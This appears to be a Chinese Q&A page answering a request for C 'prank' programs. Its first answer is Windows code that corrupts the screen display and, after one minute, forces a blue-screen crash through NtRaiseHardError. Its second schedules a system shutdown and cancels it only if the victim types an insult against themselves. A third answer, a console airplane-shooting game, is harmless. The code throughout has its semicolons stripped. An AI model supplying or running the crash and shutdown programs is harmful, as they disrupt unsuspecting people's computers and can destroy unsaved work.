求一个C语言整人代码!!!

求一个C语言整人代码!!!,第1张

先上代码

#include <Windows.h>

#include <time.h>

using namespace std

int call

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN)

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN)

int IconWidth = GetSystemMetrics(SM_CXICON)

int IconHeight = GetSystemMetrics(SM_CYICON)

HDC hdc=GetWindowDC(GetDesktopWindow())

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call))

 call++

 return rand() % upper_bound

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY)

  Sleep(random(100))

 }

 return 0

}

int GetWay() {

 int r=random(3)

 switch(r) {

  case 0:

   return SRCAND

  case 1:

   return SRCINVERT

  case 2:

   return SRCPAINT

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth)

  int RandyPixel = random(ScreenHeight - RandHeight)

  int RandDestxPixel = random(ScreenWidth - RandWidth)

  int RandDestyPixel = random(ScreenHeight - RandHeight)

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth)

  int RandHeight = random(ScreenHeight)

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth

  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT)

  Sleep(random(100))

 }

 return 0

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000)

 HMODULE ntdll = LoadLibrary("ntdll.dll")

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char temp0

 long unsigned int temp1

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1)

 return 0

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2)

  int RandyPixel = random(ScreenHeight - IconHeight / 2)

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR))

  Sleep(random(50))

 }

 return 0

}

int main(void) {

 CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL)

 CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL)

 while(true)

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

#include"stdio.h"

#include"stdlib.h"

#include"windows.h"

main()

{

int

i

printf("呃,我要做什么呢?让我想想")

for(i=1i<=7i++)

{

printf(".

")

Sleep(1*1000)

}

printf("\n")

printf("啊,有了

哈哈")

for(i=1i<=15i++)

{

printf("~")

Sleep(1*100)

}

printf("\n")

char

write[100]

system("shutdown

-s

-t

60")

printf("快说你是猪!不然就给你关机,你只有一分钟考虑时间!\n")

gt:

scanf("%s",write)

if(strcmp(write,"我是猪")==0)

{

printf("哈哈,这就对了~~~\n\n")

system("shutdown

-a")

}

if(strcmp(write,"我是猪")!=0)

{

printf("不说是吧?没关系,那就等着关机吧,哈哈哈哈!\n")

goto

gt

}

}

这个是个整人的小程序代码,打开后会有提示,提示后会启动系统关机倒计时,只有按提示输入正确的汉字才能关闭“系统关机”命令。本人初学者,自己调的,仅供参考。只做娱乐使用,注意保存修改过的文件。

一个打飞机的游戏,DEVc++编译通过:

#include <stdio.h>

#include <conio.h>

#include <stdlib.h>

#include <windows.h>

#include <time.h>

#define zlx 10   //增量坐标(x)让游戏框不靠边

#define zly 3    //增量坐标(y)让游戏框不靠边

#define W 26   //游戏框的宽度

#define H 24   //游戏框的高度

int jiem[22][22]={0}, wj=10  //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0  //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0  // m,n是控制敌机的变量

void gtxy (int x, int y)   //控制光标位置的函数

{ COORD zb  //zb代指坐标

zb.X = x  zb.Y = y

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb )

}

void Color(int a)   //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a )}

void yinc(int x=1,int y=0)   //隐藏光标的函数

{ CONSOLE_CURSOR_INFO  gb={x,y}   //gb代指光标, y设为0即隐藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb)

 }

void csh( )  //初始化函数

{ int i

Color(7)

gtxy(zlx,zly)printf("╔")  gtxy(zlx+W-2,zly)printf("╗")  //左上角和右上角的框角

gtxy(zlx,zly+H-1)printf("╚")gtxy(zlx+W-2,zly+H-1)printf("╝")//下边两框角

for(i=2i<W-2i+=2) {gtxy(zlx+i,zly)  printf("═")}      //打印上横框

for(i=2i<W-2i+=2) {gtxy(zlx+i,zly+H-1)printf("═")}  //打印下横框

for(i=1i<H-1i++) { gtxy(zlx,zly+i) printf("║")}       //打印左竖框

for(i=1i<H-1i++) {gtxy(zlx+W-2,zly+i)printf("║")}  //打印右竖框

Color(14)gtxy(19,2)  printf("歼灭敌机")  Color(10)

gtxy(37,5)printf("设置:Esc ")

gtxy(37,7)printf("发射:↑ ")

gtxy(37,9)printf("控制:← → ")

gtxy(37,11)printf("得分:%d",score)

gtxy(37,13)printf("死亡:%d",death)

yinc(1,0)

}

void qcjm( )  //清除界面函数

{ int i,j

for(i=0i<H-2i++)

for(j=0j<W-4j++){gtxy(zlx+2+j,zly+1+i)printf(" ")}

}

void feiji( )  //飞机移动函数

{ int i,j

for(i=21i>=0i--)  //从底行往上是为了避免敌机直接冲出数组

  for(j=0j<22j++)

     {if(i==21&&jiem[i][j]==3) jiem[i][j]=0  //底行赋值0 以免越界

       if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3

     }

if(jiem[20][wj]==3&&jiem[21][wj]==1) death++

}

void zidan( )  //子d移动函数

{ int i,j

for(i=0i<22i++)

  for(j=0j<22j++)

     { if(i==0&&jiem[i][j]==2) jiem[i][j]=0

       if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7")

                                  jiem[i][j]=0,jiem[i-1][j]=2}

     }

}

void print(  )  //输出界面函数

{int i,j

qcjm( )

for(i=0i<22i++)

for(j=0j<22j++)

{ gtxy(12+j,4+i)

   if(jiem[i][j]==3) {Color(13)printf("□")}

   if(jiem[i][j]==2) {Color(10)printf(".")}

   if(jiem[i][j]==1) {Color(10)printf("■")}

}

gtxy(37,11)Color(10)printf("得分:%d",score)

gtxy(37,13)printf("死亡:%d",death)

}

void setting( )  //游戏设置函数

{ qcjm( )

gtxy(12,4)printf("选择敌机速度:")

gtxy(12,5)printf("  1.快 2.中 3.慢>>")

switch(getche( ))

    {case '1': speed=2break

     case '2': speed=4break

     case '3': speed=5break

     default: gtxy(12,6)printf("  错误!默认值")

   }

gtxy(12,7)printf("选择敌机密度:")

gtxy(12,8)printf("  1.大 2.中 3.小>>")

switch(getche( ))

     {case '1': density=20break

      case '2': density=30 break

      case '3': density=40break

      default: gtxy(12,9)printf("  错误!默认值")

     }

for(int i=0i<22i++)

 for(int j=0j<22j++) jiem[i][j]=0

jiem[21][wj=10]=1  jiem[0][5]=3

gtxy(12,10)printf("  按任意键保存...")

getch( )

qcjm( )

}

void run( )  //游戏运行函数

{ jiem[21][wj]=1  //值为1代表我机(2则为子d)

jiem[0][5]=3   //值为3代表敌机

SetConsoleTitle("歼灭敌机") //设置窗口标题

while(1)

{ if (kbhit( ))   //如有键按下,控制我机左右移动、发射或进行设定

    { int key

      if((key=getch( ))==224) key=getch( )

     switch(key)

       {case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1break

        case 77: if(wj<20) jiem[21][wj]=0,jiem[21][++wj]=1 break

        case 72: jiem[20][wj]=2break

       case 27: setting( )

      }

   }

   if(++n%density==0)   //控制产生敌机的速度

     { n=0srand((unsigned)time(NULL))

       jiem[0][rand( )%20+1]=3

     }

    if(++m%speed==0) { feiji( )m=0}  //控制敌机移动速度(相对子d而言)

    zidan( )  //子d移动

    print( )  //输出界面

    Sleep(120)  //延时120毫秒

  }

}

int main( )

{ csh( )

  run( )

  return 0

}


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/7856092.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-10
下一篇 2023-04-10

发表评论

登录后才能评论

评论列表(0条)

保存